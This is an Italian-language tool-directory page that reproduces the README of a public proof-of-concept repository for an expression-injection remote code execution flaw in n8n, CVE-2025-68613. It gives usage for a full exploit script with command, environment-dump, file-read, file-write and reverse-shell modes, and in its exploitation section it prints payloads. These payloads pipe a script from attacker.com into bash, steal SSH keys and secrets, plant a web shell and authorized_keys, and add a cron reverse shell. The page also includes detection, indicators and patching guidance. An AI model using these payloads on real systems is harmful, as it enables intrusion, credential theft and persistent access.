Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-68613-POC — PoC pubblico + Scanner e ricerca per CVE-2025-68613: RCE critica in n8n Workflow Automation tramite Expression Injection (CVSS 10.0). Include strumenti di rilevamento, exploit completo e guida alla remedazione. | Kitploit
Strumenti/GitHubGitHub/thestingr/cve-2025-68613-poc
RicognizioneScanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingPaper e RicercaApprendimento e Formazione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Red Teaming
Sviluppo Payload
GitHubthestingr/cve-2025-68613-poc

CVE-2025-68613-POC

PoC pubblico + Scanner e ricerca per CVE-2025-68613: RCE critica in n8n Workflow Automation tramite Expression Injection (CVSS 10.0). Include strumenti di rilevamento, exploit completo e guida alla remedazione.

Vedi Repository
2638 mesi faRevisionato da Kitploit
Condividi

🚨 CVE-2025-68613: Vulnerabilità RCE critica in n8n

Language: Python CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available CVE Status: CVE-2025-68613 Disclosed Version: v1.0.2 Target Platform: n8n

CVE-2025-68613 PoC - TechSquad RedTeam

Indice dei contenuti

  1. Panoramica
  2. Che cos'è n8n?
  3. Nozioni di base sulla vulnerabilità
Dettagli tecnici
  • Versioni interessate
  • Meccanismi di sfruttamento
  • Impatto nel mondo reale
  • Metodi di rilevamento
  • Rimedi e mitigazione
  • Risorse e riferimenti

  • Panoramica

    CVE-2025-68613 è una vulnerabilità critica di esecuzione di codice remoto (RCE) scoperta in n8n, una popolare piattaforma open-source di automazione dei flussi di lavoro. Questa vulnerabilità consente agli utenti autenticati di eseguire codice arbitrario sul server, portando potenzialmente al completo compromesso del sistema.

    Informazioni rapide

    • ID CVE: CVE-2025-68613
    • Punteggio CVSS: 9.9 - 10.0 (Critico)
    • Tipo di vulnerabilità: Injection di espressioni → Esecuzione di codice remoto
    • CWE: CWE-913 (Controllo improprio delle risorse di codice gestite dinamicamente)
    • Vettore di attacco: Rete
    • Autenticazione richiesta: Sì (privilegi bassi - nessun accesso admin necessario) |- Stato: Proof of Concept disponibile (verificato funzionante su v1.121.0)

    Che cos'è n8n?

    n8n è una piattaforma open-source di automazione dei flussi di lavoro che consente agli utenti di:

    • Collegare varie API, database e servizi
    • Automatizzare processi aziendali ripetitivi
    • Creare flussi di lavoro complessi senza competenze estese di programmazione
    • Distribuire in locale (on-premises) o nel cloud

    Perché n8n è infrastruttura critica

    Le organizzazioni usano n8n per:

    • Integrare database con servizi cloud
    • Automatizzare pipeline di elaborazione dati
    • Collegare CRM, ERP e sistemi interni
    • Gestire dati sensibili e credenziali API

    Questo ruolo centrale nell'infrastruttura IT rende le vulnerabilità particolarmente pericolose, poiché possono fornire agli aggressori l'accesso a intere reti e a dati sensibili.


    Strumenti in questo repository

    Questo repository include strumenti pronti all'uso per il rilevamento delle vulnerabilità e i test di sfruttamento:

    1. Scanner: cve-2025-68613-scanner.py

    Scopo: Rilevamento sicuro e non sfruttante delle istanze n8n vulnerabili

    Caratteristiche:

    • Rilevamento passivo della versione dalle risposte HTTP
    • Nessuna autenticazione richiesta
    • Nessuna esecuzione di payload
    • Controlla più percorsi comuni (/, /rest/settings, /healthz, /api/v1/health)
    • Sicuro per valutazioni di sicurezza autorizzate

    Utilizzo:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

    root@kitploit:~
    **Output**:
    - Codice di uscita 0: Non vulnerabile
    - Codice di uscita 1: Versione indeterminata (potrebbe essere patchata o nascosta)
    - Codice di uscita 2: Versione vulnerabile rilevata
    
    ### 2. Template Nuclei: `CVE-2025-68613.yaml`
    **Scopo**: Rilevamento automatico delle vulnerabilità e test di base di valutazione delle espressioni
    
    **Caratteristiche**:
    - Richiede un token di autenticazione valido
    - Verifica la capacità di iniezione delle espressioni
    - Tenta di leggere il contesto globale di Node.js (process.platform)
    - Crea workflow di test per validare il vettore RCE
    - Classificazione di gravità critica CVSS 10.0
    
    **Utilizzo**:```bash
    # Single target with known token
    nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
    
    # Multiple targets
    nuclei -t CVE-2025-68613.yaml -l targets.txt
    

    3. Exploit completo: exploit_cve-2025-68613.py

    Scopo: Proof-of-concept completo di sfruttamento con molteplici payload di attacco

    Caratteristiche:

    • Gestione completa dell'autenticazione
    • Molteplici payload di sfruttamento:
      • info: Raccoglie informazioni di sistema (OS, architettura, versione di Node.js, utente corrente)
      • cmd: Esegue comandi di sistema arbitrari
      • env: Estrae tutte le variabili d'ambiente (rivela credenziali, chiavi API, segreti)
      • read: Legge file sensibili dal filesystem (chiavi SSH, file di configurazione, ecc.)
      • write: Scrive file sul filesystem (persistenza, backdoor, ecc.)
      • revshell: Stabilisce una connessione reverse shell per accesso interattivo
    • Pulizia automatica del workflow
    • Gestione degli errori e report sullo stato

    Requisiti:

    • Credenziali utente n8n valide (email/password)
    • Python 3.6+ con libreria requests
    • Accesso di rete all'istanza n8n target

    Installazione:```bash pip install requests chmod +x exploit_cve-2025-68613.py

    root@kitploit:~
    **Esempi di utilizzo**:```bash
    # Gather system information
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload info
    
    # Execute system command (whoami)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload cmd --command "whoami"
    
    # Extract all environment variables (credentials, API keys)
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload env
    
    # Read sensitive files
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload read --file "/etc/passwd"
    
    # Establish reverse shell (requires netcat listener)
    # On attacker machine: nc -lvnp 4444
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
    
    # Write a web shell for persistence
    python3 exploit_cve-2025-68613.py -u http://target:5678 \  
      -e [email protected] -p password --payload write \  
      --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
    

    Come Funziona:

    1. Si autentica a n8n utilizzando le credenziali fornite
    2. Crea un workflow dannoso con un payload di injection nelle espressioni
    3. Il payload fuoriesce dalla sandbox delle espressioni utilizzando this.constructor.constructor()
    4. Esegue il payload tramite process.platform o altre API Node.js
    5. Recupera i risultati dall'esecuzione del workflow
    6. Esegue la pulizia eliminando il workflow di test

    Codici di Uscita:

    • 0: Sfruttamento riuscito
    • 1: Autenticazione o sfruttamento falliti

    Nozioni di base sulla vulnerabilità

    Qual è il problema?

    In termini semplici: n8n consente agli utenti di scrivere espressioni nei workflow per elaborare i dati dinamicamente. Tuttavia, queste espressioni vengono valutate senza un adeguato sandboxing, consentendo agli attaccanti di uscire dal contesto di esecuzione previsto ed eseguire codice arbitrario sul server.

    Il problema centrale

    Quando crei un workflow in n8n, puoi utilizzare "espressioni" per manipolare i dati. Queste espressioni dovrebbero essere eseguite in un ambiente ristretto. Tuttavia, la vulnerabilità dimostra che queste espressioni possono accedere al sistema sottostante, consentendo a un attaccante di:

    1. Eseguire comandi di sistema
    2. Leggere/scrivere file sul server
    3. Rubare variabili d'ambiente (chiavi API, password, segreti)
    4. Modificare o eliminare dati
    5. Stabilire una persistenza per un accesso a lungo termine

    Perché è così pericolosa

    • Bassa barriera d'ingresso: Richiede solo un login utente (nessun privilegio amministrativo speciale)
    • Ampia applicabilità: Molte organizzazioni consentono agli utenti non tecnici di creare workflow
    • Elevato impatto: Viene eseguita con tutti i privilegi del processo n8n
    • Accesso ai dati: Può accedere a tutti i dati a cui n8n ha accesso (database, API, credenziali)
    • Posizione di rete: n8n si trova spesso al centro dell'infrastruttura critica, consentendo il movimento laterale

    Dettagli tecnici

    Come funziona la vulnerabilità

    Passo 1: Valutazione delle espressioni del workflow

    Quando un utente crea un workflow in n8n, può utilizzare le espressioni per elaborare i dati:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime

    root@kitploit:~
    #### Passo 2: Iniezione di espressioni
    Un attaccante crea un'espressione dannosa che sfugge alla sandbox prevista:```javascript
    // Example: Malicious expression in workflow
    ${require('child_process').execSync('id')}
    

    Passaggio 3: Esecuzione del codice

    L'espressione viene valutata senza un adeguato isolamento, consentendo all'attaccante di:

    • Chiamare funzioni di sistema
    • Eseguire comandi shell
    • Accedere al file system
    • Leggere variabili d'ambiente

    La causa principale

    La vulnerabilità deriva da sandboxing insufficiente nel motore di valutazione delle espressioni. Il team di n8n valutava le espressioni in un contesto che:

    • Consentiva l'accesso a require() o funzioni simili di caricamento dei moduli
    • Non limitava adeguatamente l'accesso alle API di sistema
    • Non validava né filtrava la sintassi delle espressioni
    • Non preveniva attacchi di pollution del prototipo
    • Non isolava l'ambiente di esecuzione dal runtime Node.js sottostante

    Percorso di esecuzione del codice```

    User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft

    root@kitploit:~
    ---
    
    ## Versioni interessate
    
    ### Intervallo vulnerabile
    
    Tutte le versioni di n8n a partire da **0.211.0** fino alle seguenti versioni sono vulnerabili:
    - `0.211.0` → `1.120.3`
    - `1.121.0`
    
    ### Versioni corrette
    
    La vulnerabilità è stata corretta in:
    - ✅ `1.120.4` e successive nel ramo 1.120.x
    - ✅ `1.121.1` e successive nel ramo 1.121.x
    - ✅ `1.122.0` e tutte le versioni più recenti
    
    ### Come controllare la tua versione```bash
    # If n8n is running
    curl http://your-n8n-instance:5678/ | grep -i "version"
    
    # Or check the admin panel
    # Go to Settings → About → Version
    

    Versioni testate e compatibilità

    Verificato funzionante

    • n8n v1.121.0: ✅ Pienamente sfruttabile (RCE confermata, injection nelle espressioni funzionante)
    • n8n v0.211.0 - v1.120.3: ✅ All'interno dell'intervallo vulnerabile secondo NVD (non testata singolarmente)

    Problemi noti

    • Limitazione dell'esecuzione REST: L'endpoint /rest/workflows/{id}/run restituisce errore HTTP 500 in v1.121.0
      • Soluzione alternativa: L'injection nelle espressioni funziona perfettamente, RCE confermata tramite:
        1. Clic sul pulsante "Test Step" nell'interfaccia utente (dimostrato funzionante)
        2. Acquisizione dell'output del workflow
      • Si tratta di una limitazione dell'API, non di un bug dell'exploit

    Non testato

    • n8n v0.212.0+: Al di fuori dell'intervallo di vulnerabilità documentato, probabilmente patchata (vedi issue GitHub #1)
    • Distribuzioni su Windows Server: Dati di test limitati su ambienti specifici di Windows

    Dichiarazione sul supporto delle versioni

    L'exploit è progettato per funzionare contro l'intervallo vulnerabile documentato in NVD:

    • Confermate vulnerabili: 0.211.0 fino a 1.120.3, più 1.121.0
    • Versioni patchate: 1.120.4, 1.121.1, 1.122.0 e successive

    Se si testa su versioni al di fuori di questo intervallo, il successo non è garantito.


    Meccaniche di sfruttamento

    Cosa può fare un attaccante?

    Una volta che un utente autenticato (o un attaccante con credenziali valide) sfrutta questa vulnerabilità, può:

    1. Eseguire comandi di sistema arbitrari```javascript

    ${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)

    ${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script

    root@kitploit:~
    #### 2. Leggere i file dal server```javascript
    ${require('fs').readFileSync('/etc/passwd', 'utf-8')}
    // Reads sensitive system files
    
    ${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
    // Steals SSH keys
    

    3. Leggi le Variabili d'Ambiente```javascript

    ${Object.keys(process.env).join(', ')} // Lists all environment variables

    ${process.env.DATABASE_PASSWORD} // Extracts specific secrets

    root@kitploit:~
    #### 4. Scrivere file dannosi```javascript
    ${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
    // Plants a web shell for persistence
    
    ${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
    // Adds SSH access
    

    5. Accedi ai servizi connessi```javascript

    // Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems

    root@kitploit:~
    #### 6. Stabilire la persistenza```javascript
    ${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
    // Creates a cron job for reverse shell access
    
    ${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
    // Creates a new user account
    

    Esempio di Scenario di Attacco

    Scenario Reale: Azienda che Utilizza n8n

    1. L'attaccante ottiene le credenziali: Tramite phishing, riutilizzo di credenziali o password deboli
    2. Accede a n8n: Utilizza un account utente legittimo
    3. Crea un workflow "innocuo": Sostiene che serva per l'elaborazione dei dati
    4. Inietta un'espressione dannosa: Nasconde l'exploit in un passaggio del workflow
    5. Esegue codice: Esegue comandi con i privilegi del processo n8n
    6. Esfiltra dati: Ruba chiavi API, credenziali del database, dati dei clienti
    7. Stabilisce persistenza: Installa backdoor, crea nuovi account amministratore
    8. Si sposta lateralmente: Utilizza credenziali rubate per accedere ad altri sistemi

    Impatto nel Mondo Reale

    Impatto sulla Riservatezza (ALTO)

    • Accesso ai dati sensibili elaborati dai workflow
    • Estrazione di chiavi API, password del database, chiavi di cifratura
    • Lettura di file di configurazione, log e segreti
    • Potenziali violazioni GDPR/conformità tramite furto di dati

    Impatto sull'Integrità (ALTO)

    • Modifica dei workflow esistenti per sabotare le operazioni
    • Iniezione di workflow dannosi che corrompono i dati
    • Alterazione degli output dei workflow che influenzano i sistemi a valle
    • Installazione di backdoor per accesso persistente

    Impatto sulla Disponibilità (ALTO)

    • Cancellazione di workflow critici, con conseguente interruzione delle attività
    • Modifica di file di sistema che portano a crash dei servizi
    • Esaurimento delle risorse tramite automazione dannosa
    • Attacchi ransomware in cui gli attaccanti richiedono un pagamento per ripristinare i sistemi

    Esempi di Impatto Aziendale

    Azienda Manifatturiera

    • n8n automatizza la gestione degli ordini e l'inventario
    • L'attaccante esfiltra ordini dei clienti e informazioni sui fornitori
    • Modifica i workflow per inviare prodotti errati ai clienti
    • Risultati: Perdita di fiducia dei clienti, responsabilità legale, interruzione operativa

    Servizi Finanziari

    • n8n integra API bancarie ed elaborazione dei pagamenti
    • L'attaccante ruba credenziali API e token di autenticazione
    • Reindirizza transazioni o crea registrazioni fraudolente
    • Risultati: Sanzioni normative, risarcimenti ai clienti, danni alla reputazione

    Organizzazione Sanitaria

    • n8n gestisce l'integrazione e la reportistica dei dati dei pazienti
    • L'attaccante accede alle informazioni sanitarie protette (PHI)
    • Modifica le cartelle cliniche o blocca gli avvisi critici
    • Risultati: Violazioni HIPAA, danni ai pazienti, responsabilità dell'organizzazione

    Metodi di Rilevamento

    Metodo 1: Scanner per il Rilevamento della Versione

    Script di rilevamento sicuro e non exploitante (incluso nel repository originale):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678

    root@kitploit:~
    **Esempi di Output**```
    [+] Target: http://127.0.0.1:5678
    [+] Possible n8n detected at /
    [+] Detected version: 1.120.2
    
    --- Result ---
    🚨 VULNERABLE
    Target version is affected by CVE-2025-68613
    

    Metodo 2: Utilizzo del template Nuclei

    Scansione automatizzata con Nuclei:```bash

    Single target

    nuclei -t CVE-2025-68613.yaml -u http://target:5678

    Multiple targets from file

    nuclei -t CVE-2025-68613.yaml -l targets.txt

    root@kitploit:~
    **Come funziona**:
    1. Invia richieste HTTP ai percorsi n8n comuni
    2. Estrae i metadati della versione da HTML/intestazioni
    3. Decodifica la configurazione codificata in base64 se presente
    4. Confronta la versione con gli intervalli vulnerabili
    5. Segnala se l'istanza è vulnerabile
    
    ### Metodo 3: Banner Grabbing Manuale```bash
    # Check for n8n in HTTP response
    curl -s http://target:5678/ | grep -i "n8n"
    
    # Check headers
    curl -I http://target:5678/ | grep -i "n8n"
    
    # Check common paths
    curl -s http://target:5678/api/v1/health
    curl -s http://target:5678/rest/settings
    curl -s http://target:5678/healthz
    

    Metodo 4: Ricognizione di rete```bash

    Find n8n instances using Shodan

    shodan search "n8n" --limit 10

    Use favicon hash detection

    nmap -p 5678 --script http-favicon target.com

    root@kitploit:~
    ### Indicatori di Compromissione (IOC)
    
    **Segni nei Log**:
    - Valutazioni di espressioni insolite nei log dei workflow
    - Errori di espressione contenenti comandi di sistema
    - Accesso a file sensibili (ad es., riferimenti a /etc/passwd)
    - Avvio inatteso di processi dal processo n8n
    
    **Segni di Sistema**:
    - Nuovi account utente creati sul server
    - Chiavi SSH inattese in authorized_keys
    - Nuovi cron job o attività pianificate
    - Modifiche ai file di sistema
    - Connessioni reverse shell dal server n8n
    
    ---
    
    ## Rimedio e Mitigazione
    
    ### SOLUZIONE PRINCIPALE: Aggiornamento Immediato
    
    **Questa è l'unica soluzione completa per la vulnerabilità.**
    
    #### Passo 1: Esegui il Backup dei Tuoi Dati```bash
    # Backup n8n database
    cp -r /path/to/n8n/database ./backup/
    
    # Backup workflows
    n8n export --backup-dir ./backup/
    

    Passaggio 2: Aggiornare n8n

    Utilizzo di Docker (Consigliato):```bash

    Pull the latest patched version

    docker pull n8nio/n8n:1.122.0 # Or later

    Stop current instance

    docker stop n8n-container

    Start with new version

    docker run -d --name n8n-patched
    -p 5678:5678
    -v n8n_data:/home/node/.n8n
    n8nio/n8n:1.122.0

    root@kitploit:~
    **Usare npm**:```bash
    # Backup first
    npm run export --backup
    
    # Update
    npm update n8n
    
    # Or specific version
    npm install [email protected]
    

    Utilizzo del gestore di pacchetti di sistema:```bash

    Debian/Ubuntu

    sudo apt update && sudo apt upgrade n8n

    Or manual download

    wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz

    root@kitploit:~
    #### Passaggio 3: Verifica dell'aggiornamento```bash
    # Check version after update
    curl http://localhost:5678/api/v1/health | grep version
    
    # Ensure n8n is running
    curl http://localhost:5678/ | grep -i "n8n"
    

    MITIGAZIONE TEMPORANEA: Durante l'aggiornamento

    Importante: Queste NON risolvono la vulnerabilità. Utilizzarle solo come misure temporanee mentre si pianificano gli aggiornamenti.

    1. Limita le autorizzazioni del workflow```

    n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts

    root@kitploit:~
    #### 2. Monitora le modifiche del flusso di lavoro```
    n8n Admin Panel → Settings → Audit Log
    ├── Enable comprehensive audit logging
    ├── Monitor for suspicious workflow modifications
    ├── Alert on expression evaluations in logs
    └── Review workflow change history regularly
    

    3. Isolamento della rete```bash

    Restrict n8n network access

    sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable

    Or using iptables

    sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP

    root@kitploit:~
    #### 4. Esegui n8n con Privilegi Minimi```bash
    # Create dedicated n8n user
    sudo useradd -r -s /bin/false n8n-user
    
    # Run n8n as this user
    sudo -u n8n-user n8n
    
    # Or in Docker with user specification
    docker run -u 1000 n8nio/n8n:latest
    

    5. Abilita l'autenticazione forte```

    n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts

    root@kitploit:~
    #### 6. Containerizzazione & Isolamento```bash
    # Run n8n in a restricted Docker container
    docker run -d \
      --security-opt=no-new-privileges:true \
      --read-only \
      --cap-drop=ALL \
      --cap-add=NET_BIND_SERVICE \
      --tmpfs /tmp \
      -p 5678:5678 \
      n8nio/n8n:current-version
    

    7. Audit Regolare```bash

    Monitor for suspicious activities

    Check for new files in n8n directories

    find /path/to/n8n -type f -mtime -1

    Monitor process activity

    ps aux | grep n8n netstat -tlnp | grep n8n

    Check for unauthorized SSH keys

    cat ~/.ssh/authorized_keys

    Review system logs

    journalctl -u n8n -n 100

    root@kitploit:~
    ---
    
    ## Matrice di valutazione del rischio
    
    | Scenario | Livello di rischio | Probabilità | Impatto | Priorità |
    |----------|-----------|-----------|--------|----------|
    | n8n non aggiornato esposto a internet | CRITICO | ALTA | Compromissione totale | 🔴 URGENTE |
    | n8n non aggiornato solo interno | ALTO | MEDIA | Rischio di minaccia interna | 🟠 ALTO |
    | n8n aggiornato | BASSO | BASSA | N/A | ✅ Risolto |
    | Non aggiornato + restrizioni dei permessi | MEDIO | MEDIA | Limitato a utenti fidati | 🟡 MEDIO |
    
    ---
    
    ## Recupero passo-passo in caso di compromissione
    
    ### Azioni immediate (prima ora)
    1. **Isolare il sistema**: scollegare dalla rete
    2. **Fermare il servizio**: `sudo systemctl stop n8n`
    3. **Conservare i log**: eseguire il backup di tutti i log prima della cancellazione
    4. **Allertare il team**: informare il team di sicurezza e la direzione
    5. **Valutare la portata**: determinare a quali dati n8n ha avuto accesso
    
    ### Indagine (primo giorno)
    1. **Esaminare i log di audit**: controllare attività sospette
    2. **Analizzare il traffico di rete**: cercare esfiltrazione di dati
    3. **Controllare le modifiche ai file**: individuare backdoor inserite
    4. **Rivedere gli account utente**: cercare account nuovi o modificati
    5. **Audit delle credenziali**: reimpostare tutte le chiavi API e le password utilizzate da n8n
    
    ### Bonifica (giorni 2-7)
    1. **Ricostruzione completa del sistema**: non limitarsi ad aggiornare, ricostruire da un'immagine pulita
    2. **Rotazione delle credenziali**: reimpostare tutte le password, le chiavi API e i token
    3. **Applicare le patch a tutto**: aggiornare tutti i sistemi collegati
    4. **Ripristinare dal backup**: utilizzare backup puliti precedenti alla compromissione
    5. **Audit di sicurezza**: condurre una valutazione completa della sicurezza
    
    ### Post-incidente (settimane 2+)
    1. **Implementare il monitoraggio**: configurare logging e alerting continui
    2. **Modifiche ai processi**: aggiornare le procedure di risposta agli incidenti
    3. **Formazione degli utenti**: formare i team sulle best practice di sicurezza
    4. **Scansione delle vulnerabilità**: eseguire scansioni regolari per problemi simili
    5. **Revisione della conformità**: assicurarsi che tutte le normative siano rispettate (GDPR, HIPAA, ecc.)
    
    ---
    
    ## Prevenzione per il futuro
    
    ### Best practice di sicurezza per n8n
    
    1. **Mantenere n8n aggiornato**
       - Abilitare gli aggiornamenti automatici se disponibili
       - Iscriversi agli advisory di sicurezza di n8n
       - Testare le patch in staging prima della produzione
    
    2. **Controllo degli accessi**
       - Utilizzare il principio del minimo privilegio
       - Richiedere password robuste e 2FA
       - Implementare SSO per gli ambienti enterprise
       - Revisioni e audit regolari degli accessi
    
    3. **Gestione dei workflow**
       - Rivedere tutti i workflow per logiche sospette
       - Implementare un processo di revisione del codice per i workflow
       - Utilizzare convenzioni di denominazione per identificare i workflow critici
       - Eseguire regolarmente il backup dei workflow
    
    4. **Gestione delle credenziali**
       - Non memorizzare mai le credenziali nei workflow
       - Utilizzare variabili d'ambiente per i dati sensibili
       - Ruotare regolarmente le credenziali
       - Eseguire audit dell'accesso alle credenziali
    
    5. **Monitoraggio e logging**
       - Abilitare un logging di audit completo
       - Monitorare le attività insolite
       - Configurare avvisi per operazioni sospette
       - Revisione e analisi regolare dei log
    
    6. **Sicurezza di rete**
       - Eseguire n8n in segmenti di rete isolati
       - Limitare l'accesso di rete ai soli servizi necessari
       - Utilizzare VPN/firewall per l'accesso remoto
       - Monitorare il traffico di rete per anomalie
    
    7. **Risposta agli incidenti**
       - Creare un piano di risposta agli incidenti
       - Definire le procedure di escalation
       - Condurre esercitazioni di sicurezza regolari
       - Mantenere elenchi di contatti aggiornati
    
    ---
    
    ## Risoluzione dei problemi
    
    ### Problema: "Exit code 1: Authentication or exploitation failed"
    
    **Cause comuni**:
    1. **Credenziali errate** (più comune)
       - Soluzione: verificare prima che le credenziali funzionino per il login nell'interfaccia web
       - Prova: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
    
    2. **L'utente non ha i permessi per creare workflow**
       - Soluzione: utilizzare un account amministratore o un account utente con diritti di creazione dei workflow
       - Verifica: controllare il pannello di amministrazione → Utenti e permessi
    
    3. **La versione è aggiornata** (versione > 1.121.0)
       - Soluzione: usare prima lo scanner per controllare la versione: `python3 cve-2025-68613-scanner.py -u http://target:5678`
       - Atteso: lo scanner dovrebbe segnalare "Vulnerable" (codice di uscita 2)
    
    4. **La struttura dell'API è cambiata** (le versioni più vecchie o più nuove possono differire)
       - Soluzione: controllare l'advisory NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
       - Più probabile se si testano versioni al di fuori dell'intervallo documentato
    
    5. **Blocco di rete/firewall**
       - Soluzione: verificare la connettività: `curl http://target:5678/`
       - Controllare: regole del firewall, impostazioni del proxy, certificati SSL
    
    ### Problema: lo scanner segnala falsi positivi (rilevamento di una versione errata)
    
    **Corretto in v1.02**: lo scanner ora utilizza la configurazione Sentry decodificata in base64 dai meta tag invece della semplice regex. Questo elimina i falsi positivi in cui la versione di Node.js veniva rilevata come versione di n8n.
    
    **Cosa è cambiato**:
    - Fonte primaria: estrarre e decodificare `<meta name="n8n:config:sentry" content="[BASE64]">`
    - Fallback: usa la regex solo se la configurazione Sentry non è disponibile
    - Risultato: rilevamento accurato della versione senza falsi positivi
    
    **Per usare lo scanner v1.02**:```bash
    # Update to v1.02
    git pull origin main
    
    # Run scanner
    python3 cve-2025-68613-scanner.py -u http://target:5678
    

    Problema: l'esecuzione REST restituisce un errore 500

    Questo NON è un bug nell'exploit - è una limitazione dell'API.

    Spiegazione:

    • L'endpoint /rest/workflows/{id}/run restituisce HTTP 500 in n8n v1.121.0
    • Questa è una limitazione progettuale dell'API di n8n, non un bug dell'exploit
    • L'iniezione di espressioni FUNZIONA ANCORA tramite l'interfaccia utente

    Soluzione alternativa:

    1. L'exploit crea un workflow con un'espressione dannosa ✅ Funziona
    2. L'espressione viene valutata ed esegue il codice ✅ Funziona (dimostrato con test manuali)
    3. Fare clic manualmente sul pulsante "Test Step" nell'interfaccia utente per attivare l'espressione ✅ Funziona
    4. Leggere l'output dai risultati del workflow ✅ Funziona

    Evidenza: Flag catturata su TryHackMe: THM{n8n_exposed_workflow}


    Risorse e Riferimenti

    Fonti Ufficiali

    • Repository GitHub di n8n: https://github.com/n8n-io/n8n
    • Avvisi di sicurezza di n8n: https://github.com/n8n-io/n8n/security/advisories
    • Documentazione di n8n: https://docs.n8n.io/

    Informazioni CVE

    • Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
    • CVEDetails: https://www.cvedetails.com/cve/CVE-2025-68613/
    • CVETodo: https://cvetodo.com/cve/CVE-2025-68613

    Risorse di Sicurezza

    • NIST CWE-913: https://cwe.mitre.org/data/definitions/913.html
    • OWASP Code Injection: https://owasp.org/www-community/attacks/Code_Injection
    • OWASP Sandbox Bypass: https://owasp.org/www-community/attacks/Sandbox_Escape

    Riepilogo

    CVE-2025-68613 è una vulnerabilità critica che richiede un'azione immediata. La combinazione di:

    • Capacità di iniezione di espressioni
    • Mancanza di sandboxing
    • Bassi requisiti di privilegi
    • Ampia superficie di attacco (molti utenti creano workflow)
    • Posizione centrale nell'infrastruttura IT

    ...rende questa una delle vulnerabilità più pericolose nelle piattaforme di automazione dei workflow.

    La soluzione semplice: aggiornare immediatamente a una versione patchata. Non c'è alcuna giustificazione per rimanere vulnerabili a una RCE critica quando le patch sono disponibili.


    Versione del Documento

    |- Versione: 1.02 |- Data di creazione: 18 dicembre 2025 |- Ultimo aggiornamento: 26 dicembre 2025

    • Stato: Completo
    • Autore: The StingR / TechSquad Inc.
    • Organizzazione: TechSquad Inc.

    Esclusione di Responsabilità

    Questo documento è fornito esclusivamente a scopo educativo e per valutazioni di sicurezza autorizzate. L'accesso non autorizzato a sistemi informatici è illegale. Assicurati sempre di avere la dovuta autorizzazione prima di testare, valutare o accedere a sistemi che non possiedi.


    ⚠️ RICORDA: aggiorna immediatamente le tue istanze n8n se stai eseguendo versioni vulnerabili.

    Scarica lo strumento